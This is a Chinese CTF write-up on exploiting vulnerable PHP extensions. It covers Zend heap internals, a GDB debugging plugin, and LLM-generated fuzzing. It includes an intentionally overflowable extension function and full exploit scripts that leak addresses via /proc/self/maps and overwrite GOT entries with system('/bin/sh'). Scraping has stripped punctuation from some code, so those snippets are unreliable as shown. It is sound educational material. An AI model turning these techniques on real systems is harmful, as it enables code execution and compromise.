PHP PWN 分析与 PHP GDB 插件

admin 2025年5月19日12:15:15评论4 views字数 21002阅读70分0秒阅读模式

php pwn

国内比赛最近非常喜欢出php的pwn,php解释器本身没有太多的可利用点,出题一般把漏洞埋在php的拓展。掌握了php的调试、函数传参、堆内存管理以后这类题难度都不大。

由于php题的难度主要在调试方面,但是又没有很好用的gdb插件,因此自己写了一个phpgdb用于调试。

基础知识

php环境配置

apt安装

安装php,并查看版本:

❯ sudo apt install php php-dev❯ php -vPHP 8.3.6 (cli) (built: Mar 19 2025 10:08:38) (NTS)Copyright (c) The PHP GroupZend Engine v4.3.6, Copyright (c) Zend Technologies    with Zend OPcache v8.3.6, Copyright (c), by Zend Technologies

源码安装(推荐)

推荐使用源码安装,因为这样会有调试符号,便于本地调试(尤其是学习堆的时候)

git clone https://github.com/php/php-src.git      --branch=PHP-8.3.15cd php-src./buildconf --force./configure     --enable-cli     --enable-debugmake && make test && make install

这样是由完整调试符号和源码的:

PHP PWN 分析与 PHP GDB 插件

php配置文件

主要关注其中的disable_functionsdisable_classesextension,前二者限制了可以用于编写php利用脚本的函数和类,后者一般是pwn选手需要关注的带有漏洞的拓展文件。

; This directive allows you to disable certain functions.; It receives a comma-delimited list of function names.; https://php.net/disable-functionsdisable_functions = "zend_version","func_num_args" ...; This directive allows you to disable certain classes.; It receives a comma-delimited list of class names.; https://php.net/disable-classesdisable_classes = "stdClass","InternalIterator" ...;;;;;;;;;;;;;;;;;;;;;;; Dynamic Extensions ;;;;;;;;;;;;;;;;;;;;;;;extension = vuln.so

php拓展

拓展开发

下载对应版本的php源码,进入ext目录,创建一个拓展

❯ php ./ext/ext_skel.php --ext easy_phppwn --onlyunixCopying config scripts... doneCopying sources... doneCopying tests... doneSuccess. The extension is now ready to be compiled. To do so, use thefollowing steps:cd /home/l1qu1d/pwn/chall/php_pwn/php_test/php-src-php-8.3.15/ext/easy_phppwnphpize./configuremakeDon't forget to run tests once the compilation is done:make testThank you for using PHP!

在拓展名对应的目录具有如下结构:

❯ tree ./easy_phppwn./easy_phppwn├── config.m4├── easy_phppwn.c├── easy_phppwn.stub.php├── easy_phppwn_arginfo.h├── php_easy_phppwn.h└── tests    ├── 001.phpt    ├── 002.phpt    └── 003.phpt2 directories, 8 files

其中easy_phppwn_arginfo.h头文件与拓展的参数信息有关,不需要手动修改,在easy_phppwn.stub.php中修改对应的文件即可。默认生成的只有testtest2两个函数,加入test3

<?php/** * @generate-class-entries * @undocumentable */function test1(): void {}function test2(string$str = ""): string {}function test3(string$name): string {}

随后自动构建easy_phppwn_arginfo.h

php ../../build/gen_stub.php --ext=easy_phppwn ./easy_phppwn.stub.php

添加函数功能

PHP_FUNCTION(test3){char *arg = NULL;    size_t arg_len, len;char buf[100];if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE) {return;    }    memcpy(buf, arg, arg_len);    php_printf("The baby phppwn.n");return SUCCESS;}

编译,configure生成的Makefile需要删去-O2优化,否则会加上FORTIFY保护,导致memcpy函数加上长度检查变为__memcpy_chk函数:

 phpizeConfiguring for:PHP Api Version:20230831Zend Module Api No:20230831Zend Extension Api No:420230831configure.ac:165: warning:The macro `AC_PROG_LIBTOOL' is obsolete.configure.ac:165:You should run autoupdate.build/libtool.m4:100:AC_PROG_LIBTOOL is expanded from...configure.ac:165:the top level ./configure --with-php-config=/usr/bin/php-config... make

modules目录下会生成编译好的拓展文件easy_phppwn.so

导入拓展

默认的拓展路径通过命令查看:

php -i | grep -i extension_dir

拓展在Linux下是一个动态链接库,通常在php.ini中导入,并将so文件移动到上步输出的拓展路径下:

extension = numberGame.so

或者直接通过命令运行,而无需导入:

php -d extension=./modules/easy_phppwn.so test.php

调试php拓展

自己写了个gdb python脚本phpdbg,用于php调试,功能会逐步完善。

首先编写一个php代码:

<?phptest1();?>

运行说明成功

❯ php -d extension=./modules/easy_phppwn.so test.phpThe extension easy_phppwn is loaded and working!

gdb进行调试

gdb --args php -d extension=./modules/easy_phppwn.so test.php

根据php启动过程,在php_module_startup()函数中加载拓展:

startb php_module_startupcfinib zif_test1

因此下断点跑完这个函数就能看到模块被加载进来:

PHP PWN 分析与 PHP GDB 插件

此时可以接着下断点到zif_test1,这里需要注意php编译之后的是函数名会加上zif_前缀

PHP PWN 分析与 PHP GDB 插件

test3中可以看到栈溢出:

PHP PWN 分析与 PHP GDB 插件

这里就不再赘述这个案例的利用方式了,结合后续题目进行介绍。

函数传参

传参约定

反编译的代码来看基本上除了参数处理以外就是原生的C代码,可读性比较强。

PHP PWN 分析与 PHP GDB 插件

但是从题目来看,一般都是直接给的二进制文件,所以需要具体了解zend_parse_parameters的传参规则,这里的讲解不会涉及[底层细节](https://www.bookstack.cn/read/php7-internal/7-func.md#7.6.2 %E5%87%BD%E6%95%B0%E5%8F%82%E6%95%B0%E8%A7%A3%E6%9E%90):

zend_parse_parameters(int num_args, constchar *type_spec, ...);

num_args为参数个数。

type_spec通过字符串表示参数的类型。

◆省略号表示具体接受参数的指针

对于参数类型而言,常用参数对照表:

类型规范符
对应的C语言类型
说明
bi
int
整数类型,b通常表示bool类型,而i表示int类型
l
long
长整型
d
double
浮点数类型
s
char*
字符串,表示C语言中的字符指针
S
zend_string
PHP 7中的 zend_string 类型字符串
a
zval*
PHP数组类型
o
zval*
PHP对象类型
r
zval*
PHP资源类型
z
zval*
PHP变量(可以是任何类型)
N
表示参数为NULL

字符串类型解析:

在PHP 7中,字符串解析有两种形式:char*和zend_string。其中:

"s"将参数解析到char*,并且需要额外提供一个size_t类型的变量用于获取字符串长度

"S"将解析到zend_string,这是PHP 7中推荐使用的字符串类型[0]

复合类型规范:

在实际使用中,可以将多个类型规范符组合使用,以表示多个参数的类型。例如:

"la"表示第一个参数为长整型,第二个参数为数组类型

"z|l"表示要接受一个zval类型的参数和一个可选的long类型的参数[20]

可选参数:

在类型规范字符串中,可以使用|符号来表示后续的参数是可选的。例如:

"z|l"表示第一个参数是必需的zval类型,第二个参数是可选的long类型[20]

传参结构体

但是很多时候都是直接用z来代替参数,在后面通常会有一个形如v15[8] == 6的比较操作,这实际上是在确定参数的类型:

PHP PWN 分析与 PHP GDB 插件

具体对应关系是:

#define IS_UNDEF     0 /* A variable that was never written to. */#define IS_NULL      1#define IS_FALSE     2#define IS_TRUE      3#define IS_LONG      4 /* An integer value. */#define IS_DOUBLE    5 /* A floating point value. */#define IS_STRING    6#define IS_ARRAY     7#define IS_OBJECT    8#define IS_RESOURCE  9#define IS_REFERENCE 10

参考

https://github.com/php/php-src/blob/212b2834e9fbcb9a48b9cb709713b6cb197607cc/docs/source/core/data-structures/zval.rst

php堆内存管理

虽说是php的内存管理,但是实际上是其内部zend引擎的内存管理机制。PHP采取“预分配方案”,提前向操作系统申请一个chunk(2M,利用到hugepage特性),并且将这2M内存切割为不同规格(大小)的若干内存块,当程序申请内存时,直接查找现有的空闲内存块即可;

PHP将内存分配请求分为3种情况:

huge内存:针对大于2M-4K的分配请求,直接调用mmap分配;

large内存:针对小于2M-4K,大于3K的分配请求,在chunk上查找满足条件的若干个连续page;

small内存:针对小于3K的分配请求;PHP拿出若干个页切割为8字节大小的内存块,拿出若干个页切割为16字节大小的内存块,24字节,32字节等等,将其组织成若干个空闲链表;每当有分配请求时,只在对应的空闲链表获取一个内存块即可;

相关结构体

在large和small两类chunk的第一个page里,会存储chunk的控制信息,这个结构体是_zend_mm_chunk,所有的chunk会形成一个双向链表,zend_mm_page_map利用位图记录512个page的使用情况,0代表空闲,1代表已经分配。zend_mm_page_info通过uint32_t存储FLAG信息,

struct _zend_mm_chunk {    zend_mm_heap      *heap;    zend_mm_chunk     *next;    zend_mm_chunk     *prev;uint32_t           free_pages;/* number of free pages */uint32_t           free_tail;               /* number of free pages at the end of chunk */uint32_t           num;char               reserve[64 - (sizeof(void*) * 3 + sizeof(uint32_t) * 3)];    zend_mm_heap       heap_slot;               /* used only in main chunk */    zend_mm_page_map   free_map;                /* 512 bits or 64 bytes */    zend_mm_page_info  map[ZEND_MM_PAGES];      /* 2 KB = 512 * 4 */};

然后是_zend_mm_heap,是chunk的上级管理结构,存储与堆分配相关的全局信息:

struct _zend_mm_heap {#if ZEND_MM_CUSTOMint                use_custom_heap;#endif#if ZEND_MM_STORAGE    zend_mm_storage   *storage;#endif#if ZEND_MM_STATsize_t             size;                    /* current memory usage */size_t             peak;                    /* peak memory usage */#endifuintptr_t          shadow_key;              /* free slot shadow ptr xor key */    zend_mm_free_slot *free_slot[ZEND_MM_BINS]; /* free lists for small sizes */#if ZEND_MM_STAT || ZEND_MM_LIMITsize_t             real_size;               /* current size of allocated pages */#endif#if ZEND_MM_STATsize_t             real_peak;               /* peak size of allocated pages */#endif#if ZEND_MM_LIMITsize_t             limit;                   /* memory limit */int                overflow;                /* memory overflow flag */#endif    zend_mm_huge_list *huge_list;               /* list of huge allocated blocks */    zend_mm_chunk     *main_chunk;    zend_mm_chunk     *cached_chunks;/* list of unused chunks */int                chunks_count;/* number of allocated chunks */int                peak_chunks_count;/* peak number of allocated chunks for current request */int                cached_chunks_count;/* number of cached chunks */double             avg_chunks_count;/* average number of chunks allocated per request */int                last_chunks_delete_boundary; /* number of chunks after last deletion */int                last_chunks_delete_count;    /* number of deletion over the last boundary */#if ZEND_MM_CUSTOMstruct {void      *(*_malloc)(size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);void       (*_free)(void*  ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);void      *(*_realloc)(void*, size_t  ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);size_t     (*_gc)(void);void       (*_shutdown)(bool full, bool silent);    } custom_heap;union {        HashTable *tracked_allocs;struct {bool    poison_alloc;uint8_t poison_alloc_value;bool    poison_free;uint8_t poison_free_value;uint8_t padding;bool    check_freelists_on_shutdown;        } debug;    };#endifpid_t pid;    zend_random_bytes_insecure_state rand_state;};

如果不方便看的话可以直接看gdb的结果:

PHP PWN 分析与 PHP GDB 插件

堆的最上层结构体是封装了zend_mm_heapzend_alloc_globals

typedef struct _zend_alloc_globals {    zend_mm_heap *mm_heap;} zend_alloc_globals;

alloc_globals是类似于glibc中main_arena的变量,通过它即可逐步获取整个堆:

static zend_alloc_globals alloc_globals;

small内存

这里只介绍small类型的内存分配,而这也是与我们攻击直接相关的部分。简单来说,small类型内存的空闲链表类似于2.27下的tcache空闲链表,也是单链表形式,并且没有任何保护,因此只需要修改链表中任一节点,即可劫持free的空闲链表。它的结构类似于:

PHP PWN 分析与 PHP GDB 插件

源码分析

下面从源码来分析一下,当申请small类型heap时:

static zend_always_inline void *zend_mm_alloc_small(zend_mm_heap *heap, int bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC){#if ZEND_MM_STATdo {size_t size = heap->size + bin_data_size[bin_num];size_t peak = MAX(heap->peak, size);        heap->size = size;        heap->peak = peak;    } while (0);#endifif (EXPECTED(heap->free_slot[bin_num] != NULL)) {        zend_mm_free_slot *p = heap->free_slot[bin_num];        heap->free_slot[bin_num] = p->next_free_slot;return p;    } else {return zend_mm_alloc_small_slow(heap, bin_num ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);    }}

如果free_slot资源不够,则会调用zend_mm_alloc_small_slow创建一个对应大小的free_slot

static zend_never_inline void *zend_mm_alloc_small_slow(zend_mm_heap *heap, uint32_t bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC){    zend_mm_chunk *chunk;int page_num;    zend_mm_bin *bin;    zend_mm_free_slot *p, *end;#if ZEND_DEBUG    bin = (zend_mm_bin*)zend_mm_alloc_pages(heap, bin_pages[bin_num], bin_data_size[bin_num] ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);#else    bin = (zend_mm_bin*)zend_mm_alloc_pages(heap, bin_pages[bin_num] ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);#endifif (UNEXPECTED(bin == NULL)) {/* insufficient memory */return NULL;    }    chunk = (zend_mm_chunk*)ZEND_MM_ALIGNED_BASE(bin, ZEND_MM_CHUNK_SIZE);    page_num = ZEND_MM_ALIGNED_OFFSET(bin, ZEND_MM_CHUNK_SIZE) / ZEND_MM_PAGE_SIZE;    chunk->map[page_num] = ZEND_MM_SRUN(bin_num);if (bin_pages[bin_num] > 1) {uint32_t i = 1;do {            chunk->map[page_num+i] = ZEND_MM_NRUN(bin_num, i);            i++;        } while (i < bin_pages[bin_num]);    }/* create a linked list of elements from 1 to last */    end = (zend_mm_free_slot*)((char*)bin + (bin_data_size[bin_num] * (bin_elements[bin_num] - 1)));    heap->free_slot[bin_num] = p = (zend_mm_free_slot*)((char*)bin + bin_data_size[bin_num]);do {zend_mm_set_next_free_slot(heap, bin_num, p, (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]));#if ZEND_DEBUGdo {            zend_mm_debug_info *dbg = (zend_mm_debug_info*)((char*)p + bin_data_size[bin_num] - ZEND_MM_ALIGNED_SIZE(sizeof(zend_mm_debug_info)));            dbg->size = 0;        } while (0);#endif        p = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);    } while (p != end);/* terminate list using NULL */    p->next_free_slot = NULL;#if ZEND_DEBUGdo {            zend_mm_debug_info *dbg = (zend_mm_debug_info*)((char*)p + bin_data_size[bin_num] - ZEND_MM_ALIGNED_SIZE(sizeof(zend_mm_debug_info)));            dbg->size = 0;        } while (0);#endif/* return first element */return bin;}

释放时,直接将free的small heap链入末尾:

static zend_always_inline void zend_mm_free_small(zend_mm_heap *heap, void *ptr, int bin_num){    ZEND_ASSERT(bin_data_size[bin_num] >= ZEND_MM_MIN_USEABLE_BIN_SIZE);    zend_mm_free_slot *p;#if ZEND_MM_STAT    heap->size -= bin_data_size[bin_num];#endif#if ZEND_DEBUGdo {        zend_mm_debug_info *dbg = (zend_mm_debug_info*)((char*)ptr + bin_data_size[bin_num] - ZEND_MM_ALIGNED_SIZE(sizeof(zend_mm_debug_info)));        dbg->size = 0;    } while (0);#endif    p = (zend_mm_free_slot*)ptr;    zend_mm_set_next_free_slot(heap, bin_num, p, heap->free_slot[bin_num]);    heap->free_slot[bin_num] = p;}

php堆调试

网上没有搜到比较合适的,自己写了个phpgdb,目前支持4个命令。

pstart

运行到php加载完所有拓展之后,此时可以设置断点。

gdb> pstart...gdb> b zif_some_mod_func
pheap

查看最上层的堆信息:

PHP PWN 分析与 PHP GDB 插件

psmall

查看small slot链表:

PHP PWN 分析与 PHP GDB 插件

pelement

查看给定地址所属于的element(最终分配的堆块)

PHP PWN 分析与 PHP GDB 插件

参考链接

https://deepunk.icu/php-pwn/

https://www.imooc.com/article/51124

利用链

泄露地址

php类题型一般能够通过include包含文件,因此可以直接从/proc/self/maps中读出地址(其实vmmap命令就是在读这个文件):

function leakaddr($buffer){global $libc$mbase;$p = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/lib/x86_64-linux-gnu/libc.so.6/';$p1 = '/([0-9a-f]+)-[0-9a-f]+ .*  /usr/local/lib/php/extensions/no-debug-non-zts-20230831/numberGame.so/';preg_match_all($p$buffer$libc);preg_match_all($p1$buffer$mbase);return "";}ob_start("leakaddr");include("/proc/self/maps");$buffer = ob_get_contents();ob_end_flush();leakaddr($buffer);

劫持执行流

一般而言,php拓展编译成动态链接库,默认编译选项下其got表是可写的,因此通常可以利用任意写劫持got表来劫持执行流。

getshell

一般php pwn都会在远程服务器运行一个php代码,很可能不能通过nc拿到交互的shell,因此通常执行反弹shell或者sendfile等。

例题分析

栈溢出:mixture

php pwn部分就是泄露地址+溢出ret2libc,可以作为入门题目。

题目来源:De1CTF 2020

参考:https://a1ex.online/2021/03/19/webpwn%E5%AD%A6%E4%B9%A0/

数组越界:numbergame

题目来源:第一届“长城杯”信息安全铁人三项赛决 夺取闯关 pwn numbergame

分析给的numberGame.so文件,发现是一个类似堆题的增删改查功能,其中zif_show_chunk调用了一个自定义的_quicksort,漏洞点在这个位置:

PHP PWN 分析与 PHP GDB 插件

但是要去具体分析_quicksort的代码来找到漏洞形成原因会比较困难,这里使用LLM生成fuzz代码来把这个漏洞测出来:

PHP PWN 分析与 PHP GDB 插件

这是deepseek r1自动生成的代码,根据ida的代码可以进行细微的调整:

import randomimport subprocessimport osfrom pathlib import Path# 创建保存错误用例的目录error_dir = Path("errors")error_dir.mkdir(exist_ok=True)functions = ['add_chunk''show_chunk''edit_chunk''edit_name']def generate_number():"""生成随机整数(十进制或十六进制)"""if random.choice([TrueFalse]):return str(random.randint(-0x800000000x7FFFFFFF))else:return hex(random.getrandbits(32))def generate_string():"""生成随机PHP字符串"""    chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'return f'"{random.choices(chars, k=random.randint(515))[0]}"'def generate_php_code():"""生成随机PHP测试用例"""    code = ["<?phpn"]# 生成5-15个函数调用for _ in range(random.randint(515)):        func = random.choice(functions)# 公共参数        chunk_id = random.randint(-1020)  # 包含可能无效的IDif func == 'add_chunk':            numbers = [generate_number() for _ in range(5)]  # 固定5个元素            name = generate_string()            code.append(f"add_chunk({chunk_id}, [{', '.join(numbers)}], {name});n")elif func == 'show_chunk':            code.append(f"show_chunk({chunk_id});n")elif func == 'edit_chunk':            index = random.randint(-510)  # 可能越界的索引            value = generate_number()            code.append(f"edit_chunk({chunk_id}{index}{value});n")elif func == 'edit_name':            new_name = generate_string()            code.append(f"edit_name({chunk_id}{new_name});n")return "".join(code)def fuzz():"""执行模糊测试"""    test_count = 0while True:        test_count += 1        php_code = generate_php_code()# 写入测试文件with open("fuzz.php""w"as f:            f.write(php_code)# 执行测试        result = subprocess.run(            ["php""-d""extension=./numberGame.so""fuzz.php"],            capture_output=True,            text=True        )# 检查是否出错if result.returncode != 0:            error_count = len(list(error_dir.glob("error_*.php"))) + 1with open(error_dir / f"error_{error_count}.php""w"as f:                f.write(f"// Return code: {result.returncode}n")                f.write(f"// Stderr: {result.stderr}n")                f.write(php_code)print(f"发现错误用例已保存:error_{error_count}.php")if __name__ == "__main__":print("启动模糊测试...")try:        fuzz()except KeyboardInterrupt:print("n终止测试")

拿到代码不需要改,直接跑,几秒钟找到十几个error输入:

PHP PWN 分析与 PHP GDB 插件

这个测试了一下,主要报错都是由于edit(16....)导致的,这个属于是没什么用的洞。在fuzz里把这个问题修一下,顺便改一改参数:

def generate_php_code():"""生成随机PHP测试用例"""    code = ["<?phpn"]# 生成5-15个函数调用for _ in range(random.randint(515)):        func = random.choice(functions)# 公共参数        chunk_id = random.randint(015)  # 包含可能无效的IDif func == 'add_chunk':            numbers = [generate_number() for _ in range(random.randint(115))]  # 固定5个元素            name = generate_string()            code.append(f"add_chunk({chunk_id}, [{', '.join(numbers)}], {name});n")elif func == 'show_chunk':            code.append(f"show_chunk({chunk_id});n")elif func == 'edit_chunk':            index = random.randint(015)  # 可能越界的索引            value = generate_number()            code.append(f"edit_chunk({chunk_id}{index}{value});n")elif func == 'edit_name':            new_name = generate_string()            code.append(f"edit_name({chunk_id}{new_name});n")return "".join(code)

这样跑起来几分钟就可以测出段错误:

// Return code: -11// Stderr: <?phpadd_chunk(14, [0x5ac569df, 0x6c313c17, 5918771290x1fe65652, -944419699, -8414030741548146870xe98c4764, -8645692550xb719576e, 0xa73bb273, 0xd8f3896e, -9028853940x30dfbfa0], "U");edit_name(10, "C");edit_name(11, "4");edit_chunk(135, -1358782844);edit_chunk(211704899367);show_chunk(6);show_chunk(0);show_chunk(5);add_chunk(3, [0xaad0a2ba, -16457493330x6fcf2a, 0x588abdfe, 0xb6b4a49f, 1414422535, -120011198], "z");

跑起来验证一下也就是_quicksort排序的时候越界的问题,把size修改得任意大了,甚至name字段也被覆盖了:

PHP PWN 分析与 PHP GDB 插件

这个时候可以手工删减poc,以确定触发漏洞的输入:

<?phpadd_chunk(14, [0x5ac569df0x6c313c175918771290x1fe65652, -944419699, -8414030741548146870xe98c4764, -8645692550xb719576e0xa73bb2730xd8f3896e, -9028853940x30dfbfa0], "U");show_chunk(0);

这样就可以确定是排序导致的问题了,这个时候可以进一步针对这个数组序列构造fuzz:

def generate_number():"""生成随机整数(十进制或十六进制)"""return hex(random.getrandbits(32))def generate_string():"""生成随机PHP字符串"""    chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'return f'"{random.choices(chars, k=random.randint(515))[0]}"'def generate_php_code():"""生成随机PHP测试用例"""    code = ["<?phpn"]    size = random.randint(15)    numbers = [generate_number() for _ in range(size)]  # 固定5个元素    name = generate_string()    code.append(f"add_chunk({size}, [{', '.join(numbers)}], {name});n")    code.append(f"show_chunk({0});n")

这样跑起来就得到了很简单的poc:

// Return code: -11// Stderr: <?phpadd_chunk(4, [0xcb949c350x177c55220xfec7b3230x726bb3bc], "i");show_chunk(0);

会把size改大:

PHP PWN 分析与 PHP GDB 插件

这样可以得到一个在php堆上的下溢任意地址写:

PHP PWN 分析与 PHP GDB 插件

思路也比较简单,就是第一次利用越界写修改下一个chunk的name指针,再利用这个name指针实现任意地址写。这里给出直接打本地的脚本,远程同理:

<?php$game_base = 0;$libc_base = 0;$libc = "";$mbase = "";function u64($leak){$leak = strrev($leak);$leak = bin2hex($leak);$leak = hexdec($leak);return $leak;}function p64($addr){$addr = dechex($addr);$addr = hex2bin($addr);$addr = strrev($addr);$addr = str_pad($addr8"x00");return $addr;}function leakaddr($buffer){global $libc$mbase;$p = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/lib/x86_64-linux-gnu/libc.so.6/';$p1 = '/([0-9a-f]+)-[0-9a-f]+ .* /home/l1qu1d/pwn/chall/php_pwn/numberGame/numberGame.so/';preg_match_all($p$buffer$libc);preg_match_all($p1$buffer$mbase);return "";}ob_start("leakaddr");include("/proc/self/maps");$buffer = ob_get_contents();ob_end_flush();leakaddr($buffer);$libc_base = hexdec($libc[1][0]);$game_base = hexdec($mbase[1][0]);echo "Libc base => " . dechex($libc_base) . "n";echo "game base => " . dechex($libc_base) . "n";$offset = ($game_base + 0x4008) & 0xffffffff;$system = $libc_base + 0x58750;echo "offset => " . dechex($offset) . "n";echo "system => " . dechex($system) . "n";add_chunk(5, [0000x800000000], "GeekCmore");add_chunk(5, [0xdeadbeef0xdeadbeef0xdeadbeef0xdeadbeef0xdeadbeef], "GeekCmore");add_chunk(1, [0], "/bin/sh");show_chunk(0);edit_chunk(018$offset);edit_name(1substr(p64($system), 06));edit_name(2"1")?>

堆off by null:PwnShell

题目还是一个典型的堆菜单,分析结构体有点抽象,感觉是为了埋洞之后方便利用搞的:

PHP PWN 分析与 PHP GDB 插件

漏洞点是addHakcer的时候存在一个off by null的漏洞:

PHP PWN 分析与 PHP GDB 插件

按照如下布局:

<?phpaddHacker("aaaaaaaa""bbbbbbb");addHacker("cccccccc""ddddddd");removeHacker(1);addHacker("gggggggg""hhhhhhh");removeHacker(0);addHacker("eeeeeeee""ffffffff");displayHacker(0);?>

即可覆盖chunkList[1].ptr->str1_ptr

PHP PWN 分析与 PHP GDB 插件

结合editHacker的修改能力:

<?phpaddHacker("aaaaaaaa""bbbbbbb");addHacker("cccccccc""ddddddd");removeHacker(1);addHacker("gggggggg""hhhhhhh");removeHacker(0);addHacker("eeeeeeee""ffffffff");editHacker(1"hacked!!");displayHacker(0);?>

能在堆上进行一定的篡改:

PHP PWN 分析与 PHP GDB 插件

通过适当构造可以得到任意地址写:

PHP PWN 分析与 PHP GDB 插件

exp:

<?php$vuln_base = 0;$libc_base = 0;$libc = "";$mbase = "";function u64($leak){$leak = strrev($leak);$leak = bin2hex($leak);$leak = hexdec($leak);return $leak;}function p64($addr){$addr = dechex($addr);$addr = hex2bin($addr);$addr = strrev($addr);$addr = str_pad($addr8"x00");return $addr;}function leakaddr($buffer){global $libc$mbase;$p = '/([0-9a-f].)-[0-9a-f]+ .* /usr/lib/x86_64-linux-gnu/libc.so.6/';$p1 = '/([0-9a-f]+)-[0-9a-f]+ .* /home/l1qu1d/pwn/chall/php_pwn/pwnshelldock/stuff/vuln.so/';preg_match_all($p$buffer$libc);preg_match_all($p1$buffer$mbase);return "";}ob_start("leakaddr");include("/proc/self/maps");$buffer = ob_get_contents();ob_end_flush();leakaddr($buffer);$vuln_base = hexdec($mbase[1][0]);$libc_base = $vuln_base + 0x31a3000;$strlen_got = $vuln_base + 0x4020;$system_addr = $libc_base + 0x58750;echo "Libc base   => " . dechex($libc_base) . "n";echo "game base   => " . dechex($vuln_base) . "n";echo "strlen got  => " . dechex($strlen_got) . "n";echo "system addr => " . dechex($system_addr) . "n";addHacker("aaaaaaaaaaaaaaaaaaaaaaaa""bbbbbbb");addHacker("cccccccccccccccccccccccc""ddddddd");addHacker("cccccccccccccccccccccccc""ddddddd");addHacker("/bin/sh""/bin/sh");addHacker("cccccccc""ddddddd");addHacker("cccccccc""ddddddd");addHacker("cccccccc""ddddddd");addHacker("cccccccc""ddddddd");addHacker("cccccccc""ddddddd");addHacker("cccccccc""ddddddd");addHacker("cccccccc""ddddddd");addHacker("cccccccc""ddddddd");addHacker("cccccccc""ddddddd");addHacker("cccccccc""ddddddd");addHacker("cccccccc""ddddddd");removeHacker(13);addHacker("aaaaaaaaaaaaaaaaaaaaaaaa""hhhhhhh");removeHacker(12);addHacker("aaaaaaaaaaaaaaaaaaaaaaaa""ffffffff");editHacker(13p64(0x18) . "hhhhhhhh" . p64($strlen_got));editHacker(14p64($system_addr));displayHacker(3);?>

题目来源:D3CTF 2024 PwnShell

参考:https://9anux.org/2024/04/29/d3ctf2024/index.html

堆UAF:hackphp

题目来源:D3CTF 2021 hackphp

参考:

https://github.com/UESuperGate/D3CTF-Source/blob/master/hackphp/exp.php

https://www.anquanke.com/post/id/235237#h2-5

UAF:phpmaster

题目来源:第二届长城杯半决赛 phpmaster

参考:https://bbs.kanxue.com/thread-286086.htm

参考文章

https://www.anquanke.com/post/id/204404

https://imlzh1.github.io/posts/PHP-So-Pwn/#zend_parse_parameters

https://www.bookstack.cn/read/php7-internal/7-implement.md

https://xuanxuanblingbling.github.io/ctf/pwn/2020/05/05/mixture/

题目附件

https://pan.baidu.com/s/1zUoi76y5MoUOYPsVVZvnmQ?pwd=x49f

PHP PWN 分析与 PHP GDB 插件

看雪ID:GeekCmore

https://bbs.kanxue.com/user-home-950404.htm

*本文为看雪论坛精华文章,由 GeekCmore 原创,转载请注明来自看雪社区

#

原文始发于微信公众号(看雪学苑):PHP PWN 分析与 PHP GDB 插件

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月19日12:15:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP PWN 分析与 PHP GDB 插件https://cn-sec.com/archives/4078411.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息